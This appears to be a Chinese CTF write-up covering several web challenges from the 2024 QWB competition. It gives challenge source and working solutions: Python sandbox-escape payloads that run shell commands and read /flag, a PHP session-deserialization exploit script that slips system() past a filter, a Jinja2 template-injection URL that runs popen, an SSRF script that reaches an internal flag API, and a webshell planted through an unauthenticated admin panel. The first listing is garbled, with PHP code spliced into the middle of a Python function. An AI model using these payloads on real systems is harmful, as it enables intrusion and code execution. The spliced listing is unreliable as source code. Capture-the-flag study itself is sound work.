https://github.com/CTF-Archives/2024-qwbs8/releases/tag/v0.1 
web 1  PyBlockly 
积木编程
 
index是拼图编程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 from  flask import  Flask, request, jsonifyimport  reimport  unidecodeimport  stringimport  astimport  sysimport  osimport  subprocessimport  importlib.utilimport  jsonapp = Flask(__name__) app.config['JSON_AS_ASCII' ] = False  blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"  def  module_exists (module_name ):    spec = importlib.util.find_spec(module_name)     if  spec is  None :         return  False      if  module_name in  sys.builtin_module_names:         return  True           if  spec.origin:         std_lib_path = os.path.dirname(os.__file__)                  if  spec.origin.startswith(std_lib_path) and  not  spec.origin.startswith(os.getcwd()):             return  True      return  False  def  verify_secure (m ):    for  node in  ast.walk(m):         match  type (node):             case  ast.Import:                   print ("ERROR: Banned module " )                 return  False              case  ast.ImportFrom:                  print (f"ERROR: Banned module {node.module} " )                 return  Fal<?php class  notouchitsclass  {    public $data;     public function __construct($data) {         $this->data = $data;     }     public function __destruct() {         eval ($this->data);     } } class  SessionRandom  {    public function generateRandomString() {     $length = rand(1 , 50 );     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' ;     $charactersLength = strlen($characters);     $randomString = '' ;     for  ($i = 0 ; $i < $length; $i++) {         $randomString .= $characters[rand(0 , $charactersLength - 1 )];     }     return  $randomString;     } } class  SessionManager  {    private $sessionPath;     private $sessionId;     private $sensitiveFunctions = ['system' , 'eval' , 'exec' , 'passthru' , 'shell_exec' , 'popen' , 'proc_open' ];     public function __construct() {         if  (session_status() == PHP_SESSION_NONE) {             throw new Exception("Session has not been started. Please start a session before using this class." );         }         $this->sessionPath = session_save_path();         $this->sessionId = session_id();     }     private function getSessionFilePath() {         return  $this->sessionPath . "/sess_"  . $this->sessionId;     }     public function filterSensitiveFunctions() {         $sessionFile = $this->getSessionFilePath();         if  (file_exists($sessionFile)) {             $sessionData = file_get_contents($sessionFile);             foreach ($this->sensitiveFunctions as  $function) {                 if  (strpos($sessionData, $function) !== false) {                     $sessionData = str_replace($function, '' , $sessionData);                 }             }             file_put_contents($sessionFile, $sessionData);             return  "Sensitive functions have been filtered from the session file." ;         } else  {             return  "Session file not found." ;         }     } } se     return  True  def  check_for_blacklisted_symbols (input_text ):    if  re.search(blacklist_pattern, input_text):         return  True      else :         return  False  def  block_to_python (block ):    block_type = block['type' ]     code = ''           if  block_type == 'print' :         text_block = block['inputs' ]['TEXT' ]['block' ]         text = block_to_python(text_block)           code = f"print({text} )"                  elif  block_type == 'math_number' :         if  str (block['fields' ]['NUM' ]).isdigit():                   code =  int (block['fields' ]['NUM' ])          else :             code = ''                   elif  block_type == 'text' :         if  check_for_blacklisted_symbols(block['fields' ]['TEXT' ]):             code = ''          else :             code =  "'"  + unidecode.unidecode(block['fields' ]['TEXT' ]) + "'"                   elif  block_type == 'max' :         a_block = block['inputs' ]['A' ]['block' ]         b_block = block['inputs' ]['B' ]['block' ]         a = block_to_python(a_block)           b = block_to_python(b_block)         code =  f"max({a} , {b} )"      elif  block_type == 'min' :         a_block = block['inputs' ]['A' ]['block' ]         b_block = block['inputs' ]['B' ]['block' ]         a = block_to_python(a_block)         b = block_to_python(b_block)         code =  f"min({a} , {b} )"      if  'next'  in  block:                  block = block['next' ]['block' ]                  code +="\n"  + block_to_python(block)+ "\n"      else :         return  code      return  code def  json_to_python (blockly_data ):    block = blockly_data['blocks' ]['blocks' ][0 ]     python_code = ""      python_code += block_to_python(block) + "\n"      return  python_code def  do (source_code ):    hook_code = '''  def my_audit_hook(event_name, arg):     blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]     if len(event_name) > 4:         raise RuntimeError("Too Long!")     for bad in blacklist:         if bad in event_name:             raise RuntimeError("No!") __import__('sys').addaudithook(my_audit_hook) '''     print (source_code)     code = hook_code + source_code     tree = compile (source_code, "run.py" , 'exec' , flags=ast.PyCF_ONLY_AST)     try :         if  verify_secure(tree):               with  open ("run.py" , 'w' ) as  f:                 f.write(code)                     result = subprocess.run(['python' , 'run.py' ], stdout=subprocess.PIPE, timeout=5 ).stdout.decode("utf-8" )             os.remove('run.py' )             return  result         else :             return  "Execution aborted due to security concerns."      except :         os.remove('run.py' )         return  "Timeout!"  @app.route('/'  ) def  index ():    return  app.send_static_file('index.html' ) @app.route('/blockly_json' , methods=['POST' ] ) def  blockly_json ():    blockly_data = request.get_data()     print (type (blockly_data))     blockly_data = json.loads(blockly_data.decode('utf-8' ))     print (blockly_data)     try :         python_code = json_to_python(blockly_data)         return  do(python_code)     except  Exception as  e:         return  jsonify({"error" : "Error generating Python code" , "details" : str (e)})      if  __name__ == '__main__' :    app.run(host = '0.0.0.0' ) 
 
定义了两个路由,一个用于提供静态 HTML 文件,另一个用于接收 Blockly JSON 数据并处理
审计钩子(audit hook)是 Python 提供的一种机制,用于监视和控制某些操作的执行。下面逐行分析 do(source_code) 函数中的 hook_code 部分,以帮助理解它的作用和工作原理。
hook代码分析 1 2 3 4 5 6 7 8 9 10 11 hook_code = '''  def my_audit_hook(event_name, arg):     blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]     if len(event_name) > 4:         raise RuntimeError("Too Long!")     for bad in blacklist:         if bad in event_name:             raise RuntimeError("No!") __import__('sys').addaudithook(my_audit_hook) ''' 
 
1. 定义审计钩子函数 1 def  my_audit_hook (event_name, arg ):
 
这里定义了一个名为 my_audit_hook 的函数,它接受两个参数:
event_name:表示触发的事件名称。 
arg:与该事件相关的附加参数。 
 
 
 
2. 定义黑名单 1 blacklist = ["popen" , "input" , "eval" , "exec" , "compile" , "memoryview" ] 
 
创建一个黑名单,列出了不允许调用的函数或操作。这些函数可能会导致安全漏洞,因此需要被拦截。
popen:用于创建子进程。 
input:用于获取用户输入。 
eval:用于执行字符串形式的 Python 表达式。 
exec:用于执行字符串形式的 Python 代码。 
compile:用于编译字符串为代码对象。 
memoryview:用于创建内存视图,可能涉及底层内存操作。 
 
 
 
3. 检查事件名称长度 1 2 if  len (event_name) > 4 :    raise  RuntimeError("Too Long!" ) 
 
如果事件名称的长度超过 4 个字符,则引发 RuntimeError。这可以防止某些潜在的滥用情况。 
 
4. 检查黑名单 1 2 3 for  bad in  blacklist:    if  bad in  event_name:         raise  RuntimeError("No!" ) 
 
遍历黑名单中的每个不安全的操作,如果事件名称中包含任何黑名单中的操作,则引发 RuntimeError,表示不允许该操作。 
 
5. 注册审计钩子 1 __import__ ('sys' ).addaudithook(my_audit_hook)
 
使用 __import__('sys') 动态导入 sys 模块,并通过 addaudithook 函数注册 my_audit_hook。这意味着每当执行某些操作时,my_audit_hook 都会被调用。 
 
这个审计钩子的目的是在执行 Python 代码时,监控并拦截不安全的操作。通过注册这个钩子,任何尝试调用黑名单中的操作(如 popen、eval 等)都会被阻止,从而提高代码执行的安全性。
json > block > python
抓一个 
 
根据
1 2 3 4 5 elif block_type == 'text':     if check_for_blacklisted_symbols(block['fields']['TEXT']):         code = ''     else:         code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'" 
 
unicode.unicode 绕过黑名单过滤
https://symbl.cc/cn/unicode-table/#halfwidth-and-fullwidth-forms 
通过覆写 绕过len检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 {   "blocks" :  {      "languageVersion" :  0 ,      "blocks" :  [        {          "type" :  "print" ,          "id" :  "B0R|:TPC-hd7mhwcqn[w" ,          "fields" :  {            "TEXT" :  "';__import__("builtins").len=lambda x:0;print(__import__("os").system("ls"));'"          }        }      ]    }  } 
 
没权限,查找suid
/bin/dd
dd提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 {   "blocks": {     "languageVersion": 0,     "blocks": [       {         "type": "print",         "id": "B0R|:TPC-hd7mhwcqn[w",         "fields": {           "TEXT": "';__import__("builtins").len=lambda x:0;print(__import__("os").system("dd if=/flag of=/dev/stdout"));'"         }       }     ]   } } 
 
www.zip下载源码 
在index.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php session_start ();require  'user.php' ;require  'class.php' ;$sessionManager  = new  SessionManager ();$SessionRandom  = new  SessionRandom ();if  ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) {    $username  = $_POST ['username' ];     $password  = $_POST ['password' ];     $_SESSION ['user' ] = $username ;     if  (!isset ($_SESSION ['session_key' ])) {         $_SESSION ['session_key' ] =$SessionRandom  -> generateRandomString ();     }          $_SESSION ['password' ] = $password ;               $result  = $sessionManager ->filterSensitiveFunctions ();          header ('Location: dashboard.php' );     exit (); } else  {     require  'login.php' ; } 
 
在登录之后的面板 dashboard.php
1 <?php  echo  htmlspecialchars ($_SESSION ['user' ]); ?> 
 
参考 web 263  的 session 反序列化
具体实现, 在class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php class  notouchitsclass   {    public  $data ;     public  function  __construct ($data  )  {         $this ->data = $data ;     }     public  function  __destruct ( )  {         eval ($this ->data);     } } class  SessionRandom   {    public  function  generateRandomString ( )  {     $length  = rand (1 , 50 );     $characters  = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' ;     $charactersLength  = strlen ($characters );     $randomString  = '' ;     for  ($i  = 0 ; $i  < $length ; $i ++) {         $randomString  .= $characters [rand (0 , $charactersLength  - 1 )];     }     return  $randomString ;     } } class  SessionManager   {    private  $sessionPath ;     private  $sessionId ;          private  $sensitiveFunctions  = ['system' , 'eval' , 'exec' , 'passthru' , 'shell_exec' , 'popen' , 'proc_open' ];     public  function  __construct ( )  {         if  (session_status () == PHP_SESSION_NONE) {             throw  new  Exception ("Session has not been started. Please start a session before using this class." );         }         $this ->sessionPath = session_save_path ();         $this ->sessionId = session_id ();     }     private  function  getSessionFilePath ( )  {         return  $this ->sessionPath . "/sess_"  . $this ->sessionId;     }               public  function  filterSensitiveFunctions ( )  {         $sessionFile  = $this ->getSessionFilePath ();         if  (file_exists ($sessionFile )) {             $sessionData  = file_get_contents ($sessionFile );             foreach  ($this ->sensitiveFunctions as  $function ) {                 if  (strpos ($sessionData , $function ) !== false ) {                     $sessionData  = str_replace ($function , '' , $sessionData );                 }             }             file_put_contents ($sessionFile , $sessionData );             return  "Sensitive functions have been filtered from the session file." ;         } else  {             return  "Session file not found." ;         }     } } 
 
那么整体思路就是利用
1 2 3 4 5 class .php class .php      class .php 
 
其中
反序列化的对象 利用 : 
 
1 2 3 4 5 6 7 8 9 class  notouchitsclass   {    public  $data ;     public  function  __construct ($data  )  {         $this ->data = $data ;     }     public  function  __destruct ( )  {         eval ($this ->data);     } } 
 
1 <?php  echo  htmlspecialchars ($_SESSION ['user' ]); ?> 
 
进行测试,因为sessionid的问题我们请求需要连贯,然后第一次请求session_id文件并没有内容,需要请求两次,然后再进行反序列化 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import  requestsimport  osurl = ""  while  True :         data = {         "username" : "exec"  * 9  + "popen" ,         "password" : ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:18:"syssystemtem("ls -alh");";}user|s:1:"1aaaa'      }       sess = os.urandom(8 ).hex ()     r = requests.post(url + "/index.php" , data=data, headers={         "Cookie" : f"PHPSESSID={sess} "      }, allow_redirects=False )     r = requests.post(url + "/index.php" , data=data, headers={         "Cookie" : f"PHPSESSID={sess} "      }, allow_redirects=False )     r = requests.post(url + "/dashboard.php" , data=data, headers={         "Cookie" : f"PHPSESSID={sess} "      }, allow_redirects=False )               text = r.text          if  'total '  in  text:         print (text)           print (sess)           break  
 
1 2 3 xxxxxxxxxxxxxxxxxxx...xxxxxx;session_key|O:15:"notouchitsclass":1:{s:4:"data";s:28:"syssystemtem("/readflag;ls -alh");";}user|s:1:"1aaaa ;session_key|O:15:"notouchitsclass":1:{s:4:"data";s:28:"system("/readflag;ls -alh");";}user|s:1:"1aaaa 
 
发包第一次session写入的还没被replace
第二次才被replace,第三次才触发反序列化
(被xdebug硬控了一套 我的php版本被系统变量写死了没发现)
web 3 xiaohuanxiong TP框架 等安装好之后 跑 dirsearch 可以扫到
后台未授权
1 http://....../admin/admins/ 
 
进入之后 支付设置里面直接修改 php的配置代码,直接一句话木马
AntSword 秒了
这里Tel✌用了一种极有创意的做法 是通过sqlmap进行注入查询 进而破解了密码的哈希加密 tql
 
web 4 snake 分为两关
Less1 跑脚本, 自动化脚本要寻找优先路径, 判断边界值 和 判断是否咬到自己
星盟的参考脚本如下
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import  requestsimport  timefrom  collections import  dequeurl = "http://....../move"  name = "http://....../set_username"  res = requests.post(name,{"username" :"aaa" }) cookie = res.cookies game_state = requests.post(url,cookies=cookie,json={"direction" :"RIGHT" }).json() DIRECTIONS = {     "UP" : [0 , -1 ],     "DOWN" : [0 , 1 ],     "LEFT" : [-1 , 0 ],     "RIGHT" : [1 , 0 ] } WIDTH, HEIGHT = 20 , 20  def  get_snake_head (snake ):    return  snake[0 ] def  is_valid_move (snake, next_head ):    return  (0  <= next_head[0 ] < WIDTH and              0  <= next_head[1 ] < HEIGHT and              next_head not  in  snake) def  find_path (snake, food ):    queue = deque([(get_snake_head(snake), [])])     visited = set (tuple (segment) for  segment in  snake)     while  queue:         current, path = queue.popleft()         if  list (current) == food:             return  path         for  direction in  DIRECTIONS.values():             next_head = (current[0 ] + direction[0 ], current[1 ] + direction[1 ])             if  is_valid_move(snake, next_head) and  next_head not  in  visited:                 visited.add(next_head)                 queue.append((next_head, path + [next_head]))     return  [] def  move_snake (direction ):    response = requests.post(url,cookies=cookie, json={"direction" : direction})     return  response.json() def  auto_snake (game_state ):    snake = game_state["snake" ]     food = game_state["food" ]          path = find_path(snake, food)     if  path:         next_head = path[0 ]         head = get_snake_head(snake)                  if  next_head[0 ] < head[0 ]:             move_direction = "LEFT"          elif  next_head[0 ] > head[0 ]:             move_direction = "RIGHT"          elif  next_head[1 ] < head[1 ]:             move_direction = "UP"          else :             move_direction = "DOWN"          return  move_snake(move_direction)     else :         print ("No valid path to food!" )         return  game_state if  __name__ == "__main__" :    while  game_state["status" ] == "ok" :         game_state = auto_snake(game_state)         print (game_state) print (game_state)
 
win了之后会返回一个/snake_win?username=choco
Less2 这里 username 存在 sql注入
1 snake_win?username= aaa' union select "{{7*7}},"{{7*8}}","{{7*9}}" --  
 
发现 time 的值变成了49,于是我们可以进行 jinja2 注入,用eval来执行python代码
1 http://eci-2zeg9nmyrzhwqonhgzax.cloudeci1.ichunqiu.com:5000/snake_win?username=aaa' union select "{{7*7}}","{{7*8}}","{{x.__init__.__globals__[' __builtins__'][' eval '](' __import__(\'os\').popen(\'cat  /flag\').read ()')}}"--%20  
 
神奇的做法 太长见识了
web 5 Playground 给我CPU看冒烟了..等会? a? qwq 
web 6 Proxy ?怎么下载下来是docker部署的源码啊(这对吗)
go源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 package  mainimport  (	"bytes"  	"io"  	"net/http"  	"os/exec"  	"github.com/gin-gonic/gin"  ) type  ProxyRequest struct  {	URL             string             `json:"url" binding:"required"`  	Method          string             `json:"method" binding:"required"`  	Body            string             `json:"body"`  	Headers         map [string ]string  `json:"headers"`  	FollowRedirects bool               `json:"follow_redirects"`  } func  main ()   {	r := gin.Default() 	v1 := r.Group("/v1" ) 	{ 		v1.POST("/api/flag" , func (c *gin.Context)   { 			cmd := exec.Command("/readflag" ) 			flag, err := cmd.CombinedOutput() 			if  err != nil  { 				c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) 				return  			} 			c.JSON(http.StatusOK, gin.H{"flag" : flag}) 		}) 	} 	v2 := r.Group("/v2" ) 	{ 		v2.POST("/api/proxy" , func (c *gin.Context)   { 			var  proxyRequest ProxyRequest 			if  err := c.ShouldBindJSON(&proxyRequest); err != nil  { 				c.JSON(http.StatusBadRequest, gin.H{"status" : "error" , "message" : "Invalid request" }) 				return  			} 			client := &http.Client{ 				CheckRedirect: func (req *http.Request, via []*http.Request)   error  { 					if  !req.URL.IsAbs() { 						return  http.ErrUseLastResponse 					} 					if  !proxyRequest.FollowRedirects { 						return  http.ErrUseLastResponse 					} 					return  nil  				}, 			} 			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte (proxyRequest.Body))) 			if  err != nil  { 				c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) 				return  			} 			for  key, value := range  proxyRequest.Headers { 				req.Header.Set(key, value) 			} 			resp, err := client.Do(req) 			if  err != nil  { 				c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) 				return  			} 			defer  resp.Body.Close() 			body, err := io.ReadAll(resp.Body) 			if  err != nil  { 				c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) 				return  			} 			c.Status(resp.StatusCode) 			for  key, value := range  resp.Header { 				c.Header(key, value[0 ]) 			} 			c.Writer.Write(body) 			c.Abort() 		}) 	} 	r.Run("127.0.0.1:8769" ) } 
 
代理请求 :
在Go代码中,定义了一个API /v2/api/proxy,它接收一个JSON格式的请求,其中包含了要转发的请求信息(URL、方法、请求体、请求头等)。 
当调用该API时,Go服务会根据请求中提供的信息构造并执行另一个HTTP请求。 
 
 
获取flag的API :
在另一个API /v1/api/flag 中,直接通过执行命令/readflag来获取flag,并将其返回给客户端。 
这个API没有任何身份验证或访问控制,意味着任何人都可以访问它。 
 
 
构造代理请求 :
构造一个POST请求,将请求的URL指向http://localhost:8769/v1/api/flag,即刚才提到的获取flag的API。 
由于通过代理请求转发了这个请求,Go代码会执行它,并且返回结果给原始请求的发起者。 
 
 
 
路径解析 请求流
客户端(Python脚本)向Go代理服务的/v2/api/proxy发送POST请求,提供要代理的请求信息,目标URL指向/v1/api/flag。 
Go服务接收到请求后,构造一个新的请求,并使用http.Client执行它。 
Go服务获取到/v1/api/flag的响应(flag),并将其返回给最初的请求者 
 
可以通过/v2/api/proxy这个往本地的8379端口发送http请求
回显内容到前端浏览器,可以通过代码写出对应的json数据 (有点像本地xss的思路)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import  requestsimport  jsonurl = "http://....../v2/api/proxy"  headers = { 	"Content-Type" : "application/json" , } data = { 	"url" : "http://localhost:8769/v1/api/flag" , 	"method" : "POST" , 	"body" : "" , 	"headers" : {}, 	"follow_redirects" : False , } response = requests.post(url, headers=headers, data=json.dumps(data)) print (response.text)
 
web 7 Password Game 反序列化链子的构造
题目提示: 正确的解不会经过错误的代码,请观察一下是否能篡改可以输出的地方
先去准备明天的数电实验了.. 明天极限再做做看( 以及去研究以下web5 web9 )
web 8 EzCalc 暂无
web 9 Proxy_revenge https://blog.yllhwa.com/qwb-2024-proxy-revenge-wp/